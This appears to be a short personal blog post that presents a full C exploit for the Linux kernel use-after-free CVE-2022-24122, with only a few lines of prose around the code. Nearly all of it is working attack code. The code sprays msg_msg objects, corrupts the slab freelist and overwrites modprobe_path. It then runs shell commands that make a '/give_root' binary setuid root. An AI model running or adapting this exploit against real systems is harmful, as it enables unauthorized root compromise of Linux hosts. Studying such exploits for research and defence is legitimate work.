exploiting the kernel - CVE-2022-24122
for the first time I exploited the kernel in real life.
I used the bug CVE-2022-24122, which allowed a use-after-free due to bad use of refcount.
the exploit itself requires a kaslr leak to prevent an oops during the process, as well as access to user namespaces. it is not really reliable, needs many tries :D
to get root I corrupted the slub freelist and wrote to modprobe_path.
the exploit code can be found on GitHub or in the following:
#define _GNU_SOURCE
#include <time.h>
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/syscall.h>
#define PAGESIZE 0x1000
#define ADDR_NO_CRASH 0x1655980
#define MODPROBE_PATH 0x1651460
#define MSG_MSGSEG 0x16559c0
#define KINFO(x) printf("[*] %s\n", x);
#define KSUCC(x) printf("[+] %s\n", x);
#define KERR(x) printf("[-] %s\n", x);
int msqid;
unsigned long kbase;
struct dummy_msg {
    long mtype;
    char mtext[0x8];
};
void bind_cpu(int cpu) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(cpu, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
    return;
}
int open_shm(int flags, int cnt) {
    int shm = shmget((key_t)cnt,0x1000,flags);
    if(shm == -1) perror("shm_open");
    return shm;
}
int *open_shm_arr(int cnt) {
    int *shmfds = calloc(sizeof(int), cnt);
    for(int i = 0; i < cnt; i++)
        shmfds[i] = open_shm(IPC_CREAT|S_IRUSR|S_IWUSR, i);
    return shmfds;
}
void give_ok(int cnt) {
    struct dummy_msg msg;
    msg.mtype = 0x4141414141414141;
    msg.mtext[0] = 0x0;
    for(int i = 0; i < cnt; i++)
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
    return;
}
void wait_ok() {
    struct dummy_msg msg;
    msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0);
    return;
}
int child_afk(void *x) {
    wait_ok();
    return 0;
}
int child_exp(void *x) {
    if(shmctl(*(int *)x, SHM_LOCK, 0) == -1) perror("shmctl");
    wait_ok();
    return 0;
}
void spray_ns_free(int cnt, int *shmfds) {
    pid_t pid;
    int *pids = calloc(sizeof(int), cnt);
    void *stack;
    int shmcnt = 0;
    pid = fork();
    switch(pid) {
        case 0:
            for(int i = 0; i < cnt; i++) {
                stack = mmap(NULL, PAGESIZE, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
                if(stack == (void *)-1) perror("mmap");
                if(i % 0x8 == 0) {
                    pids[i] = clone(child_exp, stack+PAGESIZE, SIGCHLD|CLONE_NEWUSER, (void *)&shmfds[shmcnt++]);
                    sleep(0.5);
                } else {
                    pids[i] = clone(child_afk, stack+PAGESIZE, SIGCHLD|CLONE_NEWUSER, NULL);
                }
                if(pids[i] == -1) perror("clone");
            }
            exit(0);
        default:
            break;
    }
    waitpid(pid, NULL, 0);
    sleep(1);
    return;
}
void spray_msg_generic(int sz, int cnt) {
    int *msqids = calloc(sizeof(int), cnt);
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_send, msg_recv;
    memset(msg_send.mtext, 0x45, 0x2000);
    msg_send.mtype = 0x4141414141414141;
    for(int i = 0; i < cnt; i++) {
        msqids[i] = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
        if(msqids[i] == -1) perror("msgget");
        if(sz > 0x1000-0x30) {
            msgsnd(msqids[i], &msg_send, sz-0x38, 0);
        }
        else
            msgsnd(msqids[i], &msg_send, sz-0x30, 0);
    }
    return;
}
int alloc_msg_get_id(int sz) {
    int msqid;
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_send;
    memset(msg_send.mtext, 0x0, 0x2000);
    msg_send.mtype = 0x4141414141414141;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    if(sz > 0x1000-0x30) {
        msgsnd(msqid, &msg_send, sz-0x38, 0);
    }
    else
        msgsnd(msqid, &msg_send, sz-0x30, 0);
    return msqid;
}
int alloc_msg_get_id_queue(int sz1, int sz2, int sz3) {
    int msqid;
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_send;
    memset(msg_send.mtext, 0x0, 0x2000);
    msg_send.mtype = 0x4141414141414141;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    if(sz1 > 0x1000-0x30) {
        msgsnd(msqid, &msg_send, sz1-0x38, 0);
        msgsnd(msqid, &msg_send, sz2-0x38, 0);
        msgsnd(msqid, &msg_send, sz3-0x38, 0);
    }
    else {
        msgsnd(msqid, &msg_send, sz1-0x30, 0);
        msgsnd(msqid, &msg_send, sz2-0x30, 0);
        msgsnd(msqid, &msg_send, sz3-0x30, 0);
    }
    return msqid;
}
void free_msg_by_id(int id, int sz) {
    struct {
        long mtype;
        char mtext[0x2000];
    } msg_recv;
    msg_recv.mtype = 0x10;
    if(sz > 0x1000-0x30) {
        msgrcv(id, &msg_recv, sz-0x38, 0, 0);
    }
    else
        msgrcv(id, &msg_recv, sz-0x30, 0, 0);
    return;
}
int alloc_dummy_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;
    memset(msg_send.mtext, 0x45, 0x79);
    for(int i = 1; i < 0xc0-0x30-0x7; i += 8)
        *(unsigned long *)&msg_send.mtext[i] = kbase + ADDR_NO_CRASH;
    msg_send.mtype = 0x6161616161616161;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
    return msqid;
}
void alloc_overlapping_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;
    memset(msg_send.mtext, 0x0, 0xc0-0x30);
    *(unsigned long *)&msg_send.mtext[0x50] = kbase + ADDR_NO_CRASH;
    *(unsigned long *)&msg_send.mtext[0x58] = kbase + ADDR_NO_CRASH;
    *(unsigned long *)&msg_send.mtext[0x70] = 0x0;
    *(unsigned long *)&msg_send.mtext[0x78] = kbase + MSG_MSGSEG;
    msg_send.mtype = 0x6161616161616161;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
    return;
}
void alloc_corrupting_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;
    memset(msg_send.mtext, 0x0, 0xc0-0x30);
    for(int i = 0; i < 0xc0-0x30; i += 8)
    *(unsigned long *)&msg_send.mtext[i] = kbase + MODPROBE_PATH-0x30;
    msg_send.mtype = 0x6161616161616161;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
    return;
}
void alloc_modprobe_msg() {
    int msqid;
    struct {
        long mtype;
        char mtext[0xc0-0x30];
    } msg_send;
    strncpy(msg_send.mtext, "/tmp/x", 6);
    msg_send.mtext[6] = '\x00';
    msg_send.mtype = 0x6161616161616161;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    if(msqid == -1) perror("msgget");
    msgsnd(msqid, &msg_send, 0xc0-0x30, 0);
    return;
}
void spray_msg_overwrite(int cnt) {
    int *msqids = calloc(sizeof(int), cnt);
    struct {
        long mtype;
        char mtext[2833];
    } msg_send, msg_recv;
    for(int i = 0; i < 2832; i += 8)
        *(unsigned long *)&msg_send.mtext[i] = kbase + ADDR_NO_CRASH;
    strncpy(&msg_send.mtext[2832], "\xf9", 0x1); // pratial overwrite
    msg_send.mtype = 0x4141414141414141;
    for(int i = 0; i < cnt; i++) {
        msqids[i] = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
        if(msqids[i] == -1) perror("msgget");
        msgsnd(msqids[i], &msg_send, sizeof(msg_send.mtext), 0);
    }
    msgrcv(msqids[cnt-1], &msg_recv, sizeof(msg_recv.mtext), 0, 0);
    return;
}
int exploit(void *x) {
    wait_ok();
    int *shmfds = open_shm_arr(300);
    KINFO("allocated 300 shm segments");
    bind_cpu(0);
    KINFO("spraying child user_namespaces ; referenced through of ucounts parent user_namespace");
    spray_ns_free(300, shmfds);
    give_ok(300);
    sleep(3);
    KINFO("user_namespaces freed -> cache freed");
    KINFO("spraying msg_msg to take up free'd pages of user_namespaces cache");
    for(int i = 0; i < 0x80; i++) {
        spray_msg_overwrite(0x10);
    }
    KINFO("triggering cross-cache UAF (referencing free'd child user_namespraces)");
    for(int i = 0; i < 300; i++)
        if(shmctl(shmfds[i], IPC_RMID, 0) == -1) perror("shmctl close");
    KSUCC("decremented 2nd lowest byte of m_list");
    give_ok(1);
    while(1) sleep(20);
    return 0;
}
int main() {
    char uid_map[64] = {0};
    char gid_map[64] = {0};
    char setgroups[64] = {0};
    void *stack;
    pid_t pid;
    kbase = 0xffffffff81000000;
    msqid = msgget(IPC_PRIVATE, 0644|IPC_CREAT);
    KINFO("imaginary kernel base leak: 0xffffffff81000000");
    KINFO("pre-spraying in kmalloc-192 cache");
    spray_msg_generic(0xc0, 0x16);
    sleep(0.5);
    KINFO("preparing thread -> allocating ucounts (hopefully 0x100 aligned)");
    stack = mmap(NULL, PAGESIZE*4, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
    if(stack == (void *)-1) perror("mmap");
    pid = clone(exploit, stack+PAGESIZE*4, SIGCHLD|CLONE_NEWUSER, NULL);
    if(pid == -1) perror("clone");
    KINFO("doing heap feng shui to ensure a right placement of msg_msg structs");
    int x1 = alloc_msg_get_id(0xc0);
    int x2 = alloc_msg_get_id(0xc0);
    int x3 = alloc_msg_get_id(0xc0);
    int x4 = alloc_msg_get_id(0xc0);
    int x5 = alloc_msg_get_id(0xc0);
    free_msg_by_id(x4, 0xc0);
    free_msg_by_id(x3, 0xc0);
    free_msg_by_id(x5, 0xc0);
    free_msg_by_id(x2, 0xc0);
    free_msg_by_id(x1, 0xc0);
    alloc_dummy_msg();
    int id = alloc_msg_get_id_queue(0x100, 0xc0, 0xc0);
    alloc_overlapping_msg();
    int target = alloc_msg_get_id(0x10c0);
    snprintf(setgroups, 64, "/proc/%d/setgroups", pid);
    snprintf(uid_map, 64, "/proc/%d/uid_map", pid);
    snprintf(gid_map, 64, "/proc/%d/gid_map", pid);
    int setgroups_fd = open(setgroups, O_RDWR|O_CREAT);
    int uid_fd = open(uid_map, O_RDWR|O_CREAT);
    int gid_fd = open(gid_map, O_RDWR|O_CREAT);
    write(setgroups_fd, "deny\n", 5);
    write(uid_fd, "0 1000 1\n", 9);
    write(gid_fd, "0 1000 1\n", 9);
    KSUCC("starting exploit thread");
    give_ok(0x1);
    sleep(2);
    wait_ok();
    KINFO("freeing corrupted message queue");
    free_msg_by_id(id, 0x100);
    free_msg_by_id(id, 0xc0);
    free_msg_by_id(target, 0x10c0);
    free_msg_by_id(id, 0xc0);
    KSUCC("triggered overlapping free");
    KINFO("corrupting freepointer");
    alloc_corrupting_msg();
    spray_msg_generic(0x10c0, 0x1);
    alloc_modprobe_msg();
    KSUCC("overwrote modprobe_path to /tmp/x");
    system("touch /tmp/x");
    system("echo -e \"#!/bin/sh\\nchown 0:0 /give_root\\nchmod a+sx /give_root\" > /tmp/x");
    system("chmod a+rwx /tmp/x");
    system("touch /tmp/unknown");
    system("echo -en \"\\xff\\xff\\xff\\xff\" > /tmp/unknown");
    system("chmod a+rwx /tmp/unknown");
    system("/tmp/unknown");
    KSUCC("got root!");
    system("/give_root");
    return 0;
}